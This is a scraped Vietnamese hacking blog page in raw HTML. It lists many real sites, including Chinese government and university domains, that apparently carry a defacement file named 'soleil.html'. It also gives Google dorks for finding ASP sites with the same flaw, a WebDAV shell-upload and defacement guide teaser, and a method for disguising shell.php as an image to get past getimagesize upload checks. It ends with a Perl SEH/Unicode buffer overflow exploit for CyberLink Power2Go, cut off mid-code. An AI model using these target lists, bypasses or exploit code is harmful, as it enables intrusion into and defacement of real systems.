href="http://www.ndjsw.gov.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.ndjsw.gov.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.tywl99.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.tywl99.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.tedelon.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.tedelon.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://nj.lookhouse.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://nj.lookhouse.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://thepar-group.net/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://thepar-group.net/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.autowuhan.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.autowuhan.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.av8software.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.av8software.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.cstradingcn.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.cstradingcn.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.deepmeter.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.deepmeter.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.csmarketingco.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.csmarketingco.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.kelugp.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.kelugp.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://xtjw.bsd108.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://xtjw.bsd108.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://lppm.bigc.edu.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://lppm.bigc.edu.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.escco.com.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.escco.com.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://tms.nai.edu.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://tms.nai.edu.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.netsmart.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.netsmart.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://cgibin.cgfreight.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://cgibin.cgfreight.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://news.cgfreight.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://news.cgfreight.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://xxx.cgfreight.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://xxx.cgfreight.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://jsj.jinchuan.gov.cn/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://jsj.jinchuan.gov.cn/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://cdenv-koksijde.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://cdenv-koksijde.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.wxcams.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.wxcams.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.karcherwestmachines.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.karcherwestmachines.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.wxcams.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.wxcams.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://bouwmeteo.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://bouwmeteo.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://cdenv-koksijde.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://cdenv-koksijde.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://cdenv-koksijde.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://cdenv-koksijde.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://kite.infometeo.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://kite.infometeo.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://nl.meteokust.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://nl.meteokust.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://nojo.busanilbo.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://nojo.busanilbo.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.kitemeteo.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.kitemeteo.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.wxcams.be/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.wxcams.be/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://sciotorugby.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://sciotorugby.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://hdchrome.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://hdchrome.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://columbusrugby.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://columbusrugby.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://blog.qtmanage.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://blog.qtmanage.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.csmarketingco.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.csmarketingco.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.fondazionefimp.org/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.fondazionefimp.org/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;"><a class="externalLink" href="http://www.ljmjfj.com/soleil.html" style="color: black; margin: 0px -3px; padding: 0px 3px; text-decoration: none;" target="_blank">http://www.ljmjfj.com/soleil.html</a> </span><br /> <span style="color: black; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4;">1 số dork có thể tìm site dính lỗi này như:</span><br /> <div style="color: #141414; font-family: Arial, 'Times New Roman', Times, serif; font-size: 11pt; line-height: 1.4; margin: 0px; padding: 0px 0px 0px 30px;"> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.co.id/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ah.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.bj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.cq.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.fj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gd.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gs.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gz.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ha.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hb.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.he.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hi.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hl.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.jl.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.js.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.jx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ln.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.nm.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.nx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.qh.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sc.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sd.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sh.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.co.id/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ah.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.bj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.cq.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.fj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gd.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gs.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gz.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ha.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hb.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.he.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hi.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hl.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.hn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.jl.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.js.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.jx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ln.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.nm.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.nx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.qh.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sc.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sd.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sh.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.tj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.tw.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.xj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.xz.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.yn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.zj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ac.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.com.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.edu.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gov.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.net.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.org.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.sx.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.tj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.tw.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.xj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.xz.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.yn.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.zj.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.ac.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.com.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.edu.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.gov.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.net.cn/*.asp</span>​</div> <div style="margin: 0px; padding: 0px;"> <span style="color: black;">inurl:.org.cn/*.asp</span>​</div> </div> </blockquote> <br /> Nguồn Soleil blog <br /> </article></div>

Hướng dẫn Upshell Và Deface website Sử Dụng Webdav

Tool:   Link tải  ( Tải bằng FireFox và tắt Kis) Tool scan thấy có dính mã độc. Khuyến cáo ae nên sử dụng trên máy ảo Pass dải nén: vh...

Read more »

Bypass Resize ảnh

<a href="http://2.bp.blogspot.com/-NETtqa-2Thc/T3G8aCJRDFI/AAAAAAAAAUY/ergq1CLcnsw/s1600/Screenshot.png"><img border="0" src="http://2.bp.blogspot.com/-NETtqa-2Thc/T3G8aCJRDFI/AAAAAAAAAUY/ergq1CLcnsw/s640/Screenshot.png" /></a><br /><a href="http://3.bp.blogspot.com/-a_WaowBsfaU/T3G88Csr34I/AAAAAAAAAUg/myw8EjgpG1Q/s1600/2.png"><img border="0" src="http://3.bp.blogspot.com/-a_WaowBsfaU/T3G88Csr34I/AAAAAAAAAUg/myw8EjgpG1Q/s640/2.png" /></a><br /> <div> Hiện nay rất nhiều trang kiểm tra size của file ảnh để quyết định có cho up load hay không. Ta sẽ tìm cách bypass<br />Thông thường coder sẽ sử dụng hàm getimagesize để lấy thông tin về file ảnh<br />Giá trị width , height được lưu tại cái byte thứ 7,8 và 9,10<br />Vậy để có thể qua mặt hàm getimagesize ta sẽ edit các byte này<br />File shell.php trên mình đã sửa lại Header và các byte chứa giá trị của width và height của ảnh<br /><br /><a href="http://4.bp.blogspot.com/-I1yWy9rdX-E/T3G_3vr_4JI/AAAAAAAAAUw/97Z-IfUxIJE/s1600/Screenshot-2.png"><img border="0" src="http://4.bp.blogspot.com/-I1yWy9rdX-E/T3G_3vr_4JI/AAAAAAAAAUw/97Z-IfUxIJE/s640/Screenshot-2.png" /></a><br /><a href="http://3.bp.blogspot.com/-VclF6lr2avw/T3G_ZW4_81I/AAAAAAAAAUo/4dZJ8si0t1w/s1600/Screenshot-1.png"><br /></a><br /><a href="http://4.bp.blogspot.com/-LYC--tH5fWI/T3HAYCd3e-I/AAAAAAAAAU4/8bIWxzGa2kY/s1600/Screenshot-3.png"><img border="0" src="http://4.bp.blogspot.com/-LYC--tH5fWI/T3HAYCd3e-I/AAAAAAAAAU4/8bIWxzGa2kY/s640/Screenshot-3.png" /></a></div>

Bypass Resize ảnh

Hiện nay rất nhiều trang kiểm tra size của file ảnh để quyết định có cho up load hay không. Ta sẽ tìm cách bypass Thông thường coder sẽ sử...

Read more »

CyberLink Power2Go Essential 9.0.1002.0 - Registry SEH/Unicode Buffer Overflow

<div class="container"> <div class="line number1 index0 alt2"> <code class="perl preprocessor">#!/usr/bin/perl</code></div> <div class="line number2 index1 alt1"> </div> <div class="line number3 index2 alt2"> <code class="perl comments"><br /></code></div> <div class="line number4 index3 alt1"> <code class="perl comments"># Exploit Title: CyberLink Power2Go Essential 9.0.1002.0 - Registry SEH/Unicode Buffer Overflow</code></div> <div class="line number5 index4 alt2"> <code class="perl comments"># Discovery date: 11-26-2013</code></div> <div class="line number6 index5 alt1"> <code class="perl comments"># Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift</code></div> <div class="line number7 index6 alt2"> <code class="perl comments"># Vulnerable Software/Version: CyberLink Power2Go 9 Essential 9.0.1002.0</code></div> <div class="line number8 index7 alt1"> <code class="perl comments"># Vendor Site: http://www.cyberlink.com/</code></div> <div class="line number9 index8 alt2"> <code class="perl comments"># Tested On: Windows XP SP3</code></div> <div class="line number10 index9 alt1"> <code class="perl comments"># Timeline:</code></div> <div class="line number11 index10 alt2"> <code class="perl comments"># -- 11/28/13: Initial contact to vendor requesting appropriate POC to provide vuln details  </code></div> <div class="line number12 index11 alt1"> <code class="perl comments"># -- 12/03/13: Received appropriate submission POC, initial vuln details provided to vendor</code></div> <div class="line number13 index12 alt2"> <code class="perl comments"># -- 12/11/13: Vendor response indicating issue has been escalated to Development team</code></div> <div class="line number14 index13 alt1"> <code class="perl comments"># -- 12/17/13: Vendor response indicating RD team working on fix</code></div> <div class="line number15 index14 alt2"> <code class="perl comments"># -- 03/05/14: Requested status from vendor who indicated issue has been re-escalated to Development</code></div> <div class="line number16 index15 alt1"> <code class="perl comments"># -- 03/07/13: Vendor response indicating someone from Development would contact for more details</code></div> <div class="line number17 index16 alt2"> <code class="perl comments"># -- 03/07/14: Vendor response indicating product team working on fix, new release scheduled 3/28</code></div> <div class="line number18 index17 alt1"> <code class="perl comments"># -- 03/16/14: Additional details provided to vendor as requested</code></div> <div class="line number19 index18 alt2"> <code class="perl comments"># -- 04/06/14: Status update requested from vendor</code></div> <div class="line number20 index19 alt1"> <code class="perl comments"># -- 04/08/14: New build released, provided for testing; confirmed fix for this issue</code></div> <div class="line number21 index20 alt2"> <code class="perl comments"># Details:</code></div> <div class="line number22 index21 alt1"> <code class="perl comments"># -- Power2Go uses registry keys to set various attributes including the registered username</code></div> <div class="line number23 index22 alt2"> <code class="perl comments"># -- The registered username is loaded into memory for display when the "About" screen is opened</code></div> <div class="line number24 index23 alt1"> <code class="perl comments"># -- These registry values can be found here: HKEY_LOCAL_MACHINE\SOFTWARE\CyberLink\Power2Go9\9.0</code></div> <div class="line number25 index24 alt2"> <code class="perl comments"># -- It loads these values into memory without proper bounds checks which enables the exploit</code></div> <div class="line number26 index25 alt1"> <code class="perl comments"># To Exploit:</code></div> <div class="line number27 index26 alt2"> <code class="perl comments"># -- 1) Run created .reg file 2) Open Power2Go 3) Click on Power2Go Logo in the upper left corner </code></div> <div class="line number28 index27 alt1"> <code class="perl comments"># -- Once the registry has been modified, this exploit will be persistent and execute every time</code></div> <div class="line number29 index28 alt2"> <code class="perl comments"># -- the application is run and the "About" screen is opened </code></div> <div class="line number30 index29 alt1"> <code class="perl comments">######################################################################################################</code></div> <div class="line number31 index30 alt2"> </div> <div class="line number32 index31 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$buffsize</code> <code class="perl plain">= 50000; </code><code class="perl comments"># sets buffer size for consistent sized payload</code></div> <div class="line number33 index32 alt2"> </div> <div class="line number34 index33 alt1"> <code class="perl comments"># construct the required start and end of the reg file</code></div> <div class="line number35 index34 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$regfilestart</code> <code class="perl plain">=</code><code class="perl string">"Windows Registry Editor Version 5.00\n\n"</code><code class="perl plain">;</code></div> <div class="line number36 index35 alt1"> <code class="perl variable">$regfilestart</code> <code class="perl plain">= </code><code class="perl variable">$regfilestart</code> <code class="perl plain">. </code><code class="perl string">"[HKEY_LOCAL_MACHINE\\SOFTWARE\\CyberLink\\Power2Go9\\9.0]\n"</code><code class="perl plain">;</code></div> <div class="line number37 index36 alt2"> <code class="perl variable">$regfilestart</code> <code class="perl plain">= </code><code class="perl variable">$regfilestart</code> <code class="perl plain">. </code><code class="perl string">"\"UserName\"="</code><code class="perl plain">; </code><code class="perl comments"># The UserName field is vulnerable</code></div> <div class="line number38 index37 alt1"> </div> <div class="line number39 index38 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$junk</code> <code class="perl plain">= </code><code class="perl string">"T_v3rn1x"</code> <code class="perl plain">. (</code><code class="perl string">"\x41"</code> <code class="perl plain">x 4892); </code><code class="perl comments"># offset to next seh </code></div> <div class="line number40 index39 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$nseh</code> <code class="perl plain">= </code><code class="perl string">"\x61\x62"</code><code class="perl plain">; </code><code class="perl comments"># overwrite next seh with popad + nop</code></div> <div class="line number41 index40 alt2"> <code class="perl keyword">my</code> <code class="perl variable">$seh</code> <code class="perl plain">= </code><code class="perl string">"\xd0\x50"</code><code class="perl plain">; </code><code class="perl comments"># overwrite seh with unicode friendly pop pop ret</code></div> <div class="line number42 index41 alt1"> </div> <div class="line number43 index42 alt2"> <code class="perl comments"># unicode venetian alignment</code></div> <div class="line number44 index43 alt1"> <code class="perl keyword">my</code> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl string">"\x6e"</code><code class="perl plain">;</code></div> <div class="line number45 index44 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x53"</code><code class="perl plain">; </code><code class="perl comments"># push ebx; ebx is the register closest to our shellcode following the popad </code></div> <div class="line number46 index45 alt1"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x6e"</code><code class="perl plain">; </code><code class="perl comments"># venetian pad/align</code></div> <div class="line number47 index46 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x58"</code><code class="perl plain">; </code><code class="perl comments"># pop eax; put ebx into eax and modify to jump to our shellcode (200 bytes)</code></div> <div class="line number48 index47 alt1"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x6e"</code><code class="perl plain">; </code><code class="perl comments"># venetian pad/align</code></div> <div class="line number49 index48 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x05\x14\x11"</code><code class="perl plain">; </code><code class="perl comments"># add eax,0x11001400</code></div> <div class="line number50 index49 alt1"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x6e"</code><code class="perl plain">; </code><code class="perl comments"># venetian pad/align </code></div> <div class="line number51 index50 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x2d\x12\x11"</code><code class="perl plain">; </code><code class="perl comments"># sub eax,0x11001200</code></div> <div class="line number52 index51 alt1"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x6e"</code><code class="perl plain">; </code><code class="perl comments"># venetian pad/align</code></div> <div class="line number53 index52 alt2"> <code class="perl variable">$venalign</code> <code class="perl plain">= </code><code class="perl variable">$venalign</code> <code class="perl plain">. </code><code class="perl string">"\x50"</code><code class="perl plain">; </code><code class="perl comments"># push eax</code></div> <div class="line number54 index53 alt1"> <code class="perl variable">$venalign</code> <code 